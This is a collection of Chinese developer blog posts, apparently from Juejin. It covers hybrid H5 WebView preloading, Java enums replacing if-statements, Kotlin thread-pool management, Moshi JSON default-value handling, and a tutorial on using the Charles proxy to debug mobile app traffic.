我们首先考虑了创建两个WebView的方案,一个负责加载preUrl预拉取数据,另一个负责loadUrl上屏,这样设计上比较简洁健壮,不过实践下来发现效果不理想,如图展示了该方案的效果,渲染不稳定可以感知到白屏的存在。在已经有了预拉取数据和离线资源的情况下,理论上用户点击后需要等待的就只有渲染这块的耗时,实际我们发现在复杂应用初始化时存在js执行耗时较大的问题。


图片


最终我们做了一个预执行的解法。结合SPA的特点,将preUrl作为SPA的一个子页面,不需要UI展示,只负责预拉取数据,这样子页面加载完成的同时也完成了app提前初始化。而相应的不同入口切换页面时,不同于复用预热WebView重新reload页面,为了保留app初始化的效果,我们采取了一套Native通知Web SDK,页面切换交给WebView控制的方案。其中,Native通知则以调用SDK全局方法的方式。通过这种方式,入口页面间切换其实只是hashchange触发的子页面渲染,达到了不错的效果。流程图即预热方案的上屏部分。


图片


该方案执行后我们达到了预期目标效果,最大限度地消除了白屏接近Native体验。需求上线后通过监控数据可以看到在命中预热和离线包逻辑的情况下,从用户点击到页面上屏可交互耗时均值约130ms。


图片


图片


进一步优化



1)离线包安全


在离线包安全方面,为了防止包篡改,每我们次打包发布时都会生成包签名和文件md5。客户端在使用解析离线包时会校验完整性,在返回离线资源时会校验文件完整性。


2)稳定性


整体方案在性能上已经达到目标了,保证稳定性对产品体验也很重要。**我们为了消除js执行的耗时,采取了Native通知Web SDK控制页面切换的方式。虽然比较灵活但是也带来了稳定性的问题。**具体来说,如果SDK在做页面切换时异常,之后用户打开每个入口url都会看到相同的页面。入口页面的业务在用户使用过程中如果跳转了非SPA的链接同时没有注入SDK,之后的页面切换也会失效。


如何保证预热容器的可用性呢?我们设计了一套通知机制确保客户端感知到预热容器的可用状态,并在不可用时得以恢复,如图。预热容器会维护isInit和isInvokedSuc两个状态。只有当preUrl成功加载和SDK执行成功上屏时,两个状态才会置true,此时的预热WebView才是可用的,否则会回退到普通容器模式进行load url来加载页面。


图片


此外,在每次入口url曝光时,已有的预热容器也会销毁重建,也有效保证了容器的稳定性。



3)内存泄露


使用全局的预创建WebView,不可避免的会引入可能的业务内存泄露问题。在测试过程中,我们也发现了这种例子。可以看到当点开使用了预热容器的页面后放置一段时间,整个内存在不断上涨,最终会导致PC端页面的白屏或者移动端的Crash,这个状况最终归因是业务逻辑的实现存在缺陷。


图片


不过在基础技术的角度而言,开发者也需要采取措施来尽可能规避内存泄露的情况。主要思路是减少同一个预热容器的常驻,也就是对存活的容器设置有效期,在适当的时机检查并清理过期容器,我们选择的时机是App前后台切换时


4)解决副作用


出于性能考虑,我们选择了通过Web SDK控制页面的方案,同时使用了全局的预创建WebView。这带来了副作用——当页面对容器做了全局的设置,可能会影响到下一个页面的表现。比如:设置document.title、通过私有JSAPI设置了WebView导航栏的表......


当执行这些操作时,在下一个页面也复用预热容器的情况下,全局设置没有得到清理重置或者覆盖,用户会看到上个页面的表现。


为了解决上述问题,业务可以在每个页面主动声明需要的表现来覆盖上个页面的设置,理想的方法还是基础技术来规避这个问题来保证业务开发的一致性。我们在SDK控制切换页面时,进行了一系列的重置操作。


此外,在Windows和Mac端,我们也设计了双预热WebView的方案来完全解决这个问题。每次使用时同时创建新容器,得以保证每次打开入口页面都是使用新创建的容器。当然,方案的另一面则是会带来App内存的上涨。


图片


图片


总结


我们从渲染链路入手,针对每个环节进行分析优化,最终沉淀了一套可用可扩展的Hybird H5秒开方案。从渲染链路的角度来看,方案通过离线包和预热一系列优化,将用户从点击到可交互的时间缩短到了一个SPA路由切换上屏步骤的耗时。


图片


上线后我们监控发现,命中了预热离线逻辑的页面首屏耗时~130ms,相比于离线包、SSR都有优势,同时预热离线容器命中率也达到了97%,达到了理想的体验效果。希望本篇对你有帮助。



图片


作者:腾讯云开发者
链接:https://juejin.cn/post/7178678727478853688
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
收起阅读 »

巧妙利用枚举来替代if语句

前言 亲爱的友友们,我们今天来看一下如何巧妙利用枚举来替代if语句 能实现功能的代码千篇一律,但优雅的代码万里挑一 业务背景 在工作中遇到一个需求,经过简化后就是:需要根据不同的code值,处理逻辑,然后返回对应的对象。 我就简答举个栗子哈💬 根据 不同的c...
继续阅读 »

前言


亲爱的友友们,我们今天来看一下如何巧妙利用枚举来替代if语句


能实现功能的代码千篇一律,但优雅的代码万里挑一


业务背景


在工作中遇到一个需求,经过简化后就是:需要根据不同的code值,处理逻辑,然后返回对应的对象。


我就简答举个栗子哈💬



根据 不同的code,返回不同的对象
传1 返回 一个对象,包含属性:name、age ; 传2,返回一个对象,包含属性name ; 传3,返回一个对象,包含属性sex ....
字段值默认为 test



思路


摇头版


public class TestEnum {
public static void main(String[] args) {
Integer code = 1;//这里为了简单,直接这么写的,实际情况一般是根据参数获取
JSONObject jsonObject = new JSONObject();
if(Objects.equals(0,code)){
jsonObject.fluentPut("name", "test").fluentPut("age", "test");
System.out.println("jsonObject = " + jsonObject);
}
if(Objects.equals(1, code)){
jsonObject.fluentPut("name", "test");
System.out.println("jsonObject = " + jsonObject);
}
if(Objects.equals(2,code)){
jsonObject.fluentPut("sex", "test");
System.out.println("jsonObject = " + jsonObject);
}
}
}

上面的代码在功能上是没有问题滴,但是要扩展的话就💘,比如 当code为4时,ba la ba la,我们只有再去写一遍if语句,随着code的增加,if语句也会随之增加,后面的人接手你的代码时 💔


image-20230327234216250


优雅版


我们首先定义一个枚举类,维护对应Code需要返回的字段


@Getter
@AllArgsConstructor
public enum DataEnum {
/**
* 枚举类
*/
CODE1(1,new ArrayList<>(Arrays.asList("name","age"))),
CODE2(2,new ArrayList<>(Arrays.asList("name"))),
CODE3(3,new ArrayList<>(Arrays.asList("sex")))
;
private Integer code;
private List<String> fields;
//传入code 即可获取对应的 fields
public static List<String> getFieldsByCode(Integer code){
DataEnum[] values = DataEnum.values();
for (DataEnum value : values) {
if(Objects.equals(code, value.getCode())) {
return value.getFields();
}
}
return null;
}
}

客户端代码


public class TestEnum {
public static void main(String[] args) {
//优雅版
JSONObject jsonObject = new JSONObject();
//传入code,获取fields
List<String> fieldsByCode = DataEnum.getFieldsByCode(1);
assert fieldsByCode != null;
fieldsByCode.forEach(x->{
jsonObject.put(x,"test");
});
System.out.println(jsonObject);
}
}

实现的功能和上面的一样,但是我们发现TestEnum代码里面一条if语句都没有也,这时,即使code增加了,我们也只需要维护枚举类里面的代码,压根不用在TestEnum里面添加if语句,是不是很优雅😎


image-20230327235125257


小总结


【Tips】我们在写代码时,一定要考虑代码的通用性


上面的案例中,第一个版本仅仅只是能实现功能,但是当发生变化时难以维护,代码里面有大量的if语句,看着也比较臃肿,后面的人来维护时,也只能不断的添加if语句,而第二个版本巧用枚举类的方法,用一个通用的获取fields的方法,我们的TestEnum代码就变得相当优雅了😎


结语


谢谢你的阅读,由于作者水平有限,难免有不足之处,若读者发现问题,还请批评,在留言区留言或者私信告知,我一定会尽快修改的。若各位大佬有什么好的解法,或者有意义的解法都可以在评论区展示额,万分谢谢。
写作不易,望各位老板点点赞,加个关注!😘😘😘


作者:小知识
链接:https://juejin.cn/post/7215424831209472061
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
收起阅读 »

代码优化一下,用线程池管理那些随意创建出来的线程

线程大家一定都用过,项目当中一些比较耗时的操作,比如网络请求,IO操作,我们都会把这类操作放在子线程中进行,因为如果放在主线程中,就会多少造成一些页面卡顿,影响性能,不过是不是放在子线程中就好了呢,我们看看下面这段代码 很简单的一段代码,创建了一个Threa...
继续阅读 »

线程大家一定都用过,项目当中一些比较耗时的操作,比如网络请求,IO操作,我们都会把这类操作放在子线程中进行,因为如果放在主线程中,就会多少造成一些页面卡顿,影响性能,不过是不是放在子线程中就好了呢,我们看看下面这段代码


image.png

很简单的一段代码,创建了一个Thread,然后把耗时工作放在里面进行就好了,如果项目当中只有一两处出现这样的代码,倒也影响不大,但是现在的项目当中,耗时的操作一大堆,比如文件读取,数据库的读取,sp操作,或者需要频繁从某个服务器获取数据显示在屏幕上,比如k线图等,像这些操作如果我们都去通过创建新的线程去执行它们,那么对性能以及内存的开销是很大的,所以我们在平时开发过程当中应该养成习惯,不要去创建新的线程而是通过使用线程池去执行自己的任务


线程池


为什么要使用线程池呢?线程池总结一下有以下几点优势



  • 降低资源消耗:通过复用之前创建过的线程资源,降低线程创建与销毁带来的性能与内存的开销

  • 提高响应速度:无需等待线程创建,直接可以执行任务

  • 提高线程可管理性:使用线程池可以对线程资源统一调优,分配,管理

  • 使用更多扩展功能:使用线程池可以进行一些延迟或者周期性工作


而我们创建线程池的方式有以下几种



  • Executors.newFixedThreadPool:创建一个固定大小的线程池

  • Executors.newCachedThreadPool:创建一个可缓存的线程池

  • Executors.newSingleThreadExecutor:创建单个线程数的线程池

  • Executors.newScheduledThreadPool:创建一个可以执行延迟任务的线程池

  • Executors.newSingleThreadScheduledExecutor:创建一个单线程的可以执行延迟任务的线程池

  • Executors.newWorkStealingPool:创建一个抢占式执行的线程池

  • ThreadPoolExecutor:最原始的创建方式,以上六种方式的内部也是通过这个创建的线程池


虽然我们提倡使用线程池,但是有这么多的创建方式,我们如果不在项目当中做一下管理的话,那么各种各样的线程池都有可能被使用到,由于每种创建方式对于线程的管理方式都不一样,如果不合理创建的话,很可能会出现问题,所以我们需要有一个统一创建线程池的地方


统一管理线程


image.png

首先我们先创建一个线程池,使用Executors.newCachedThreadPool()去创建一个
ExecutorService,至于为什么选择newCachedThreadPool(),我们看下它的源码


image.png

从上面一大段英文注释中我们能知道,这是一个可缓存的线程池,并且corePoolSize为0说明这个线程池没有始终存活的线程,如果线程池中没有可用线程,会重新创建新线程,而线程池中如果有可用线程,那么这个线程会被再利用,一个线程如果60秒内没有被使用,那么将会从队列中移除并销毁,所以个人感觉对于并发要求不是特别高的移动端,从性能角度来讲使用这样的一个线程池是比较合适的,当然具体设计方案以业务性质来决定,现在我们可以将项目当中的线程放在我们的线程池里面运行了,再增加一个执行线程的函数


image.png

通过这个函数就可以有效的避免项目当中随意创建线程的现象发生,让项目当中的线程可以井然有序的运行,但是这还没完事,我们知道Runnable在任务执行完成之后是没有返回结果的,因为Runnable接口中的run方法的返回类型是个void,但实际开发当中,我们的确有需求,在执行一些比如查询数据库,读取文件之类的操作中,需要获取任务的执行结果,之前都是通过在线程当中手动添加一个handler将需要的数据传递出来,再专业一点使用RxJava或者Flow,但不管什么方式,这些都会造成代码耦合,我们还有更简单的方式


Callable和Future


这两个类是在java1.5之后推出来的,目的就是解决线程执行完成之后没有返回结果的问题,我们先来对比下Runnable与Callable


image.png

相比较于Runnable,Callable接口里面也有一个call的方法,这个方法是有返回值的,并且可以抛出异常,所以以后当我们需要获取任务的执行结果的时候,我们还可以使用Callable代替Runnable,那么如何使用并获取返回值呢?当然是使用我们已经创建好的ExecutorService,它里面提供了一个函数去执行Callable


image.png

使用submit函数就可以执行我们的Callable,返回值是一个Future,而如何去获取真正的返回结果,就在Future里面,我们看下


image.png

使用get方法就可以获取线程的执行结果,我们现在就来试试Callable和Future,在PoolManager里面再增加一个函数,用来执行Callable


image.png

我们这里有个简单的任务,就是返回一段文字,然后将这段文字显示在界面上,那么第一步,先在布局文件里面添加一个按钮


image.png

然后点击这个按钮,将任务里面返回的文字显示在按钮上,代码如下


image.png

得到的效果如下


aa2.gif


在这边特地把执行结果放在界面上而不是用日志打印出来的原因可能大家已经发现了,Callable在返回执行结果的同时,也帮我们把线程切回到了主线程,所以我们不用在特地去切换线程更新ui界面了


周期性任务


普通的单个任务我们讲完了,但是在项目当中往往会存在一些比较特殊的任务,可能需要你去周期性的去执行,举个常见的例子,在证券类的app里绘制k线图的时候,并不需要将服务器吐出来的数据统统拿出来绘制ui,这样对性能的开销是很大的,我们正确的做法是将数据都先存放在一个buffer里面,然后定时的去buffer里面拿最新数据就好,那这样一个定时刷新的功能如何在我们的线程池里面去实现呢,这里就要用到刚刚说到的另一种创建线程池的方式


image.png

这个函数创建的是一个ScheduledExecutorService对象,可周期性的执行任务,入参的corepoolSize表示可并发的线程数,现在我们在PoolManager里面添加上这个ScheduledExecutorService


image.png

而如何去执行任务,我们使用ScheduledExecutorService里面的scheduleAtFixedRate函数,我们先看下这个函数都有哪些入参


image.png

不用去看注释我们就能知道怎么使用这个函数,command就是执行的任务,第二,第三个参数分别表示延迟执行的时间以及任务执行的周期时间,第四个参数是时间的单位,在看返回值是一个ScheduleFuture,既然也是个Future,那是不是也可以通过它去获取任务执行的结果呢?答案是拿不到的,一个原因是command是一个Runnable而不是Callable,不会返回任务的执行结果,另外我们从注释上就能了解,这个ScheduleFuture只是用来当周期任务中有任务被取消了,或者被异常终止的时候,抛出异常用的,那ScheduledExecutorService一定有入参是Callable的函数的吧,找了找发现并没有,那只有一个办法了,我们在command里面去执行一个Callable任务,再将任务的执行结果回调出来就好了,代码设计如下


image.png

我们创建了一个函数叫executeScheduledJob,也有四个入参,job是一个Callable,用来执行我们的任务,callback是一个回调,用来将任务执行结果回调到上层去处理,后面两个刚刚已经介绍过了,这里设置了默认值,可自定义,现在我们就来实现一个简单的读秒功能,点击刚刚那个按钮,按钮初始值是1,然后每秒钟加一,代码实现如下


image.png

这边创建了一个CounterViewModel用来执行计数器的逻辑,dataState是一个StateFlow并且设置了初始值1,在onCallback里面接收到了任务执行结果并发送至上层展示,上层的代码逻辑如下


image.png

现在这个计时器功能完成了,我们来执行下代码看看效果如何


aa3.gif


我们这边使用StateFlow发送数据还有个好处,当接收的数据中有些数据需要过滤掉的时候,我们还可以使用StateFlow提供的操作符实现,比如这边我们只想展示奇数,那么代码可以改成如下所示


image.png

使用filter操作符将偶数的值过滤掉了,我们再看看效果


aa4.gif


总结


我们的这个线程管理工具到这里已经完成了,不是很复杂,但是项目当中存不存在这样一个工具明显会对整体开发效率,代码的可读性,维护成本,以及一个app的性能角度来讲都会有个很大的提升与改善,后面如果还做了其他优化工作,也会拿出来分享。


作者:Coffeeee
链接:https://juejin.cn/post/7215185077444345917
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
收起阅读 »

Moshi 真正意义上的完美解决Gson在kotlin中默认值空的问题

Moshi Moshi是一个对Kotlin更友好的Json库,square/moshi: A modern JSON library for Kotlin and Java. (github.com) 依赖 implementation("com.square...
继续阅读 »

Moshi


Moshi是一个对Kotlin更友好的Json库,square/moshi: A modern JSON library for Kotlin and Java. (github.com)


依赖


implementation("com.squareup.moshi:moshi:1.8.0")
kapt("com.squareup.moshi:moshi-kotlin-codegen:1.8.0")

使用场景


基于kotlin-reflection反射需要额外添加 com.squareup.moshi:moshi-kotlin:1.13.0 依赖


// generateAdapter = true 表示使用codegen生成这个类的JsonAdapter
@JsonClass(generateAdapter = true)
// @Json 标识json中字段名
data class Person(@Json(name = "_name")val name: String, val age: Int)
fun main() {
   val moshi: Moshi = Moshi.Builder()
       // KotlinJsonAdapterFactory基于kotlin-reflection反射创建自定义类型的JsonAdapter
      .addLast(KotlinJsonAdapterFactory())
      .build()
   val json = """{"_name": "xxx", "age": 20}"""
   val person = moshi.adapter(Person::class.java).fromJson(json)
   println(person)
}


  • KotlinJsonAdapterFactory用于反射生成数据类的JsonAdapter,如果不使用codegen,那么这个配置是必要的;如果有多个factory,一般将KotlinJsonAdapterFactory添加到最后,因为创建Adapter时是顺序遍历factory进行创建的,应该把反射创建作为最后的手段




  • @JsonClass(generateAdapter = true)标识此类,让codegen在编译期生成此类的JsonAdapter,codegen需要数据类和它的properties可见性都是internal/public




  • moshi不允许需要序列化的类不是存粹的Java/Kotlin类,比如说Java继承Kotlin或者Kotlin继承Java


存在的问题


所有的字段都有默认值的情况


@JsonClass(generateAdapter = true)
data class DefaultAll(
  val name: String = "me",
  val age: Int = 17
)

这种情况下,gson 和 moshi都可以正常解析 “{}” json字符


部分字段有默认值


@JsonClass(generateAdapter = true)
data class DefaultPart(
  val name: String = "me",
  val gender: String = "male",
  val age: Int
)

// 针对以下json gson忽略name,gender属性的默认值,而moshi可以正常解析
val json = """{"age": 17}"""


产生的原因


Gson反序列化对象时优先获取无参构造函数,由于DefaultPart age属性没有默认值,在生成字节码文件后,该类没有无参构造函数,所有Gson最后调用了Unsafe.newInstance函数,该函数不会调用构造函数,执行对象初始化代码,导致name,gender对象是null。


Moshi 通过adpter的方式匹配类的构造函数,使用函数签名最相近的构造函数构造对象,可以是的默认值不丢失,但在官方的例程中,某些情况下依然会出现我们不希望出现的问题。


Moshi的特殊Json场景


1、属性缺失


针对以下类


@JsonClass(generateAdapter = true)
data class DefaultPart(
   val name: String,
   val gender: String = "male",
   val age: Int
)

若json = """ {"name":"John","age":18}""" Moshi可以正常解析,但如果Json=""" {"name":"John"}"""Moshi会抛出Required value age missing at $ 的异常,


2、属性=null


若Json = """{"name":"John","age":null} ”“”Moshi会抛出Non-null value age was null at $ 的异常


很多时候后台返回的Json数据并不是完全的统一,会存在以上情况,我们可以通过对age属性如gender属性一般设置默认值的方式处理,但可不可以更偷懒一点,可以不用写默认值,系统也能给一个默认值出来。


完善Moshi


分析官方库KotlinJsonAdapterFactory类,发现,以上两个逻辑的判断代码在这里


internal class KotlinJsonAdapter<T>(
 val constructor: KFunction<T>,
   // 所有属性的bindingAdpter
 val allBindings: List<Binding<T, Any?>?>,
   // 忽略反序列化的属性
 val nonIgnoredBindings: List<Binding<T, Any?>>,
   // 反射类得来的属性列表
 val options: JsonReader.Options
) : JsonAdapter<T>() {

 override fun fromJson(reader: JsonReader): T {
   val constructorSize = constructor.parameters.size

   // Read each value into its slot in the array.
   val values = Array<Any?>(allBindings.size) { ABSENT_VALUE }
   reader.beginObject()
   while (reader.hasNext()) {
       //通过reader获取到Json 属性对应的类属性的索引
     val index = reader.selectName(options)
     if (index == -1) {
       reader.skipName()
       reader.skipValue()
       continue
    }
       //拿到该属性的binding
     val binding = nonIgnoredBindings[index]
// 拿到属性值的索引
     val propertyIndex = binding.propertyIndex
     if (values[propertyIndex] !== ABSENT_VALUE) {
       throw JsonDataException(
         "Multiple values for '${binding.property.name}' at ${reader.path}"
      )
    }
// 递归的方式,初始化属性值
     values[propertyIndex] = binding.adapter.fromJson(reader)

       // 关键的地方1
       // 判断 初始化的属性值是否为null ,如果是null ,代表这json字符串中的体现为 age:null
     if (values[propertyIndex] == null && !binding.property.returnType.isMarkedNullable) {
         // 抛出Non-null value age was null at $ 异常
       throw Util.unexpectedNull(
         binding.property.name,
         binding.jsonName,
         reader
      )
    }
  }
   reader.endObject()

   // 关键的地方2
    // 初始化剩下json中没有的属性
   // Confirm all parameters are present, optional, or nullable.
     // 是否调用全属性构造函数标志
   var isFullInitialized = allBindings.size == constructorSize
   for (i in 0 until constructorSize) {
     if (values[i] === ABSENT_VALUE) {
         // 如果等于ABSENT_VALUE,表示该属性没有初始化
       when {
           // 如果该属性是可缺失的,即该属性有默认值,这不需要处理,全属性构造函数标志为false
         constructor.parameters[i].isOptional -> isFullInitialized = false
           // 如果该属性是可空的,这直接赋值为null
         constructor.parameters[i].type.isMarkedNullable -> values[i] = null // Replace absent with null.
           // 剩下的则是属性没有默认值,也不允许为空,如上例,age属性
           // 抛出Required value age missing at $ 异常
         else -> throw Util.missingProperty(
           constructor.parameters[i].name,
           allBindings[i]?.jsonName,
           reader
        )
      }
    }
  }

   // Call the constructor using a Map so that absent optionals get defaults.
   val result = if (isFullInitialized) {
     constructor.call(*values)
  } else {
     constructor.callBy(IndexedParameterMap(constructor.parameters, values))
  }

   // Set remaining properties.
   for (i in constructorSize until allBindings.size) {
     val binding = allBindings[i]!!
     val value = values[i]
     binding.set(result, value)
  }

   return result
}

 override fun toJson(writer: JsonWriter, value: T?) {
   if (value == null) throw NullPointerException("value == null")

   writer.beginObject()
   for (binding in allBindings) {
     if (binding == null) continue // Skip constructor parameters that aren't properties.

     writer.name(binding.jsonName)
     binding.adapter.toJson(writer, binding.get(value))
  }
   writer.endObject()
}


通过代码的分析,是不是可以在两个关键的逻辑点做以下修改



// 关键的地方1
// 判断 初始化的属性值是否为null ,如果是null ,代表这json字符串中的体现为 age:null
if (values[propertyIndex] == null && !binding.property.returnType.isMarkedNullable) {
   // 抛出Non-null value age was null at $ 异常
   //throw Util.unexpectedNull(
   //   binding.property.name,
   //   binding.jsonName,
   //   reader
   //)
   // age:null 重置为ABSENT_VALUE值,交由最后初始化剩下json中没有的属性的时候去初始化
values[propertyIndex] = ABSENT_VALUE
}

// 关键的地方2
// 初始化剩下json中没有的属性
// Confirm all parameters are present, optional, or nullable.
// 是否调用全属性构造函数标志
var isFullInitialized = allBindings.size == constructorSize
for (i in 0 until constructorSize) {
   if (values[i] === ABSENT_VALUE) {
       // 如果等于ABSENT_VALUE,表示该属性没有初始化
       when {
           // 如果该属性是可缺失的,即该属性有默认值,这不需要处理,全属性构造函数标志为false
           constructor.parameters[i].isOptional -> isFullInitialized = false
           // 如果该属性是可空的,这直接赋值为null
           constructor.parameters[i].type.isMarkedNullable -> values[i] = null // Replace absent with null.
           // 剩下的则是属性没有默认值,也不允许为空,如上例,age属性
           // 抛出Required value age missing at $ 异常
           else ->{
               //throw Util.missingProperty(
                   //constructor.parameters[i].name,
                   //allBindings[i]?.jsonName,
                   //reader
          //)
               // 填充默认
               val index = options.strings().indexOf(constructor.parameters[i].name)
               val binding = nonIgnoredBindings[index]
               val propertyIndex = binding.propertyIndex
// 为该属性初始化默认值
               values[propertyIndex] = fullDefault(binding)

          }
      }
  }
}



private fun fullDefault(binding: Binding<T, Any?>): Any? {
       return when (binding.property.returnType.classifier) {
           Int::class -> 0
           String::class -> ""
           Boolean::class -> false
           Byte::class -> 0.toByte()
           Char::class -> Char.MIN_VALUE
           Double::class -> 0.0
           Float::class -> 0f
           Long::class -> 0L
           Short::class -> 0.toShort()
           // 过滤递归类初始化,这种会导致死循环
           constructor.returnType.classifier -> {
               val message =
                   "Unsolvable as for: ${binding.property.returnType.classifier}(value:${binding.property.returnType.classifier})"
               throw JsonDataException(message)
          }
           is Any -> {
               // 如果是集合就初始化[],否则就是{}对象
               if (Collection::class.java.isAssignableFrom(binding.property.returnType.javaType.rawType)) {
                   binding.adapter.fromJson("[]")
              } else {
                   binding.adapter.fromJson("{}")
              }
          }
           else -> {}
      }
  }

最终效果


"""{"name":"John","age":null} ”“” age会被初始化成0,


"""{"name":"John"} ”“” age依然会是0,即使我们在类中没有定义age的默认值


甚至是对象


@JsonClass(generateAdapter = true)
data class DefaultPart(
   val name: String,
   val gender: String = "male",
   val age: Int,
   val action:Action
)
class Action(val ac:String)

最终Action也会产生一个Action(ac:"")的值


data class RestResponse<T>(
val code: Int,
val msg: String="",
val data: T?
) {
fun isSuccess() = code == 1

fun checkData() = data != null

fun successRestData() = isSuccess() && checkData()

fun requsetData() = data!!
}
class TestD(val a:Int,val b:String,val c:Boolean,val d:List<Test> ) {
}

class Test(val a:Int,val b:String,val c:Boolean=true)



val s = """
{
"code":200,
"msg":"ok",
"data":[{"a":0,"c":false,"d":[{"b":null}]}]}
""".trimIndent()

val a :RestResponse<List<TestD>>? = s.fromJson()



最终a为 {"code":200,"msg":"ok","data":[{"a":0,"b":"","c":false,"d":[{"a":0,"b":"","c":true}]}]}


作者:ChangJiahong
链接:https://juejin.cn/post/7209578803160465468
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
收起阅读 »

抓包神器 Charles 使用教程支持mac ios Android

本文以Mac 系统为例进行讲解 配置手机代理: 手机和 Mac 连接到同一个 WiFi 网络 1.1 Android 系统:「以华为 P20 手机为例」 设置 -> 无线和网络 -> WLAN 长按当前 WiFi -> 修改网络 勾选显...
继续阅读 »

本文以Mac 系统为例进行讲解



  • 配置手机代理:


手机和 Mac 连接到同一个 WiFi 网络


1.1 Android 系统:「以华为 P20 手机为例」



  • 设置 -> 无线和网络 -> WLAN

  • 长按当前 WiFi -> 修改网络

  • 勾选显示高级选项

  • 代理 -> 手动

  • 服务器主机名 -> 填写 Mac 的IP 地址「Mac IP 获取方法:Charles -> Help -> Local IP Address 」

  • 服务器端口 -> 8888

  • 保存


1.2 IOS 系统:「以 iPhone Xs Max 手机为例」



  • 设置 -> 无线局域网

  • 点击当前连接的 WiFi

  • 最底部 HTTP 代理 -> 配置代理 -> 勾选手动

  • 服务器 -> 填写 Mac 的IP 地址「Mac IP 获取方法:Charles -> Help -> Local IP Address 」

  • 端口 -> 8888

  • 存储


核心功能


一、  抓包「以 iPhone Xs Max 为例」



  1. Charles 设置



  • Proxy -> Proxy Settings -> Port -> 8888

  • 勾选 Support HTTP/2

  • 勾选 Enable transparent HTTP proxying

  • OK




  1. 手机设置代理如上「配置手机代理」步骤




  2. 打开手机上任意联网的应用,Charles 会弹出请求连接的确认菜单,点击“Allow“即可完成设置




二、  过滤网络请求



  1. 左侧底部 Filter 栏 -> 过滤关键字




  1. 在 Charles 的菜单栏选择


Proxy -> Recording Settings -> Include -> add「依次填入协议+主机名+端口号,即可只抓取目标网站的包」



  1. 切换到 Sequence,在想过滤的网络请求上右击,选择“Focus“,在 Filter 栏勾选上 Focused


三、  分析 HTTPS 



  1. Mac 安装证书:


Help -> SSL Proxying -> Install Charles Root Certificate -> 输入系统的帐号密码,即可在钥匙串中看到添加好的证书


image.png


如果遇到证书不被信任的问题,解决办法:


Mac本顶栏 前往 -> 实用工具 -> 打开钥匙串访问 -> 找到该证书 -> 双击或右键「显示简介」-> 点开「信任」-> 选择「始终信任」




  1. Charles 设置请求允许 SSL proxying




  2. Charles 默认并不抓取 HTTPS 网络通讯的数据,若想拦截所有 HTTPS 网络请求,需要进行设置:在请求上右击选择 Enable SSL proxying




image.png
2. Charles -> Proxy -> SSL Proxying Settings -> SSL Proxying「添加对应的域名和端口号,为方便也可端口号直接添加通配符*」



  1. 移动端安装证书


a. Charles 选择 Help -> SSL Proxying -> Install Charles Root Certificate on a Mobile Device or Remote Browser


b. 确保手机连上代理的情况下,在手机浏览器栏输入:chls.pro/ssl,下载证书,完成安装。


Android tips


1.1. 小米机型请注意,如果是 MIUI 9 以上的版本,请不要用自带浏览器下载证书,自带浏览器下载的证书文件格式不对,无法安装,uc 浏览器下载没有问题。


1.2. 若不能直接安装,需要下载下来,到手机设置 -> 安全 -> 从设备存储空间安装 -> 找到下载的证书 .pem 结尾的 -> 点击安装即可


IOS tips


IOS 需要设置手机信任证书,详见 官方文档。若不能直接安装,需在手机「设置」-> 通用 -> 描述文件与设备管理安装下载的证书,完成安装后 -> 找到关于本机 -> 证书信任设置,打开刚安装的证书的开关。


抓包内容遇到乱码,解决如下:



  • Proxy -> SSL Proxy Settings -> Add

  • Host:*「代表所有网站都拦截」

  • Port:443

  • 保存后,在抓包数据就会显示正常


四、  模拟弱网




  1. 选择 Proxy -> Throttle Settings -> 勾选 Enable Throttling -> 选择 Throttle Preset 类型
    image.png
    五、  Mock 数据




  2. 以 map local 为例,修改返回值




选择目标请求,右键选择 Save All保存请求的 response 内容到本地文件



  1. 配置 Charles Map Local,Tool -> Map Local -> 勾选 Enable Map Local -> Add 「添加目标请求及需要替换的response 文件地址」-> OK


image.png



  1. 用文本编辑器打开保存的 json 文件,修改内容,进行替换。打开客户端应用重新请求该接口,返回的数据就是本地的文件数据。



作者:CodeCiCi
链接:https://juejin.cn/post/7215105725387374650
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
收起阅读 »